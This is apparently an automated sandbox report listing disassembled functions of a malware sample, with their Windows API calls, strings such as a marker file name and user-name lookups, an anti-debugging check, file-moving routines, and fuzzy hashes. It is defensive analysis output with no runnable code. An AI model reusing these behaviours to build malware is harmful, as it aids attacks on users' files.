String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
